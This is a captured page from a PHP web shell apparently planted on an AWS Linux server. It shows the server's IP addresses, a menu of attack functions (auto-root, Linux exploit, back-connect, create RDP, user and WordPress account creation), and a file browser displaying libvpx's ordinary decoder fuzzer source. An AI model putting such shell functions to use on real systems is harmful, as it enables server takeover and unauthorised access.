Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.144.149.8
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libvpx-dev /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
decode_to_md5.c
3.91
KB
-rw-r--r--
decode_with_drops.c
4.3
KB
-rw-r--r--
postproc.c
4.49
KB
-rw-r--r--
resize_util.c
3.09
KB
-rw-r--r--
set_maps.c
7.26
KB
-rw-r--r--
simple_decoder.c
5.39
KB
-rw-r--r--
simple_encoder.c
8.95
KB
-rw-r--r--
svc_context.h
3.23
KB
-rw-r--r--
svc_encodeframe.c
22.09
KB
-rw-r--r--
twopass_encoder.c
8.15
KB
-rw-r--r--
vp8_multi_resolution_encoder.c
22.61
KB
-rw-r--r--
vp8cx_set_ref.c
5.81
KB
-rw-r--r--
vp9_lossless_encoder.c
4.14
KB
-rw-r--r--
vp9_spatial_svc_encoder.c
47.69
KB
-rw-r--r--
vp9cx_set_ref.c
9.68
KB
-rw-r--r--
vpx_dec_fuzzer.cc
3.52
KB
-rw-r--r--
vpx_temporal_svc_encoder.c
37.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : vpx_dec_fuzzer.cc
/* * Copyright (c) 2018 The WebM project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contributing project authors may * be found in the AUTHORS file in the root of the source tree. */ /* * Fuzzer for libvpx decoders * ========================== * Requirements * -------------- * Requires Clang 6.0 or above as -fsanitize=fuzzer is used as a linker * option. * Steps to build * -------------- * Clone libvpx repository $git clone https://chromium.googlesource.com/webm/libvpx * Create a directory in parallel to libvpx and change directory $mkdir vpx_dec_fuzzer $cd vpx_dec_fuzzer/ * Enable sanitizers (Supported: address integer memory thread undefined) $source ../libvpx/tools/set_analyzer_env.sh address * Configure libvpx. * Note --size-limit and VPX_MAX_ALLOCABLE_MEMORY are defined to avoid * Out of memory errors when running generated fuzzer binary $../libvpx/configure --disable-unit-tests --size-limit=12288x12288 \ --extra-cflags="-fsanitize=fuzzer-no-link \ -DVPX_MAX_ALLOCABLE_MEMORY=1073741824" \ --disable-webm-io --enable-debug --disable-vp8-encoder \ --disable-vp9-encoder --disable-examples * Build libvpx $make -j32 * Build vp9 fuzzer $ $CXX $CXXFLAGS -std=c++11 -DDECODER=vp9 \ -fsanitize=fuzzer -I../libvpx -I. -Wl,--start-group \ ../libvpx/examples/vpx_dec_fuzzer.cc -o ./vpx_dec_fuzzer_vp9 \ ./libvpx.a -Wl,--end-group * DECODER should be defined as vp9 or vp8 to enable vp9/vp8 * * create a corpus directory and copy some ivf files there. * Based on which codec (vp8/vp9) is being tested, it is recommended to * have corresponding ivf files in corpus directory * Empty corpus directoy also is acceptable, though not recommended $mkdir CORPUS && cp some-files CORPUS * Run fuzzing: $./vpx_dec_fuzzer_vp9 CORPUS * References: * http://llvm.org/docs/LibFuzzer.html * https://github.com/google/oss-fuzz */ #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <algorithm> #include <memory> #include "vpx/vp8dx.h" #include "vpx/vpx_decoder.h" #include "vpx_ports/mem_ops.h" #define IVF_FRAME_HDR_SZ (4 + 8) /* 4 byte size + 8 byte timestamp */ #define IVF_FILE_HDR_SZ 32 #define VPXD_INTERFACE(name) VPXD_INTERFACE_(name) #define VPXD_INTERFACE_(name) vpx_codec_##name##_dx() extern "C" void usage_exit(void) { exit(EXIT_FAILURE); } extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { if (size <= IVF_FILE_HDR_SZ) { return 0; } vpx_codec_ctx_t codec; // Set thread count in the range [1, 64]. const unsigned int threads = (data[IVF_FILE_HDR_SZ] & 0x3f) + 1; vpx_codec_dec_cfg_t cfg = { threads, 0, 0 }; if (vpx_codec_dec_init(&codec, VPXD_INTERFACE(DECODER), &cfg, 0)) { return 0; } data += IVF_FILE_HDR_SZ; size -= IVF_FILE_HDR_SZ; while (size > IVF_FRAME_HDR_SZ) { size_t frame_size = mem_get_le32(data); size -= IVF_FRAME_HDR_SZ; data += IVF_FRAME_HDR_SZ; frame_size = std::min(size, frame_size); const vpx_codec_err_t err = vpx_codec_decode(&codec, data, frame_size, nullptr, 0); static_cast<void>(err); vpx_codec_iter_t iter = nullptr; vpx_image_t *img = nullptr; while ((img = vpx_codec_get_frame(&codec, &iter)) != nullptr) { } data += frame_size; size -= frame_size; } vpx_codec_destroy(&codec); return 0; }
Close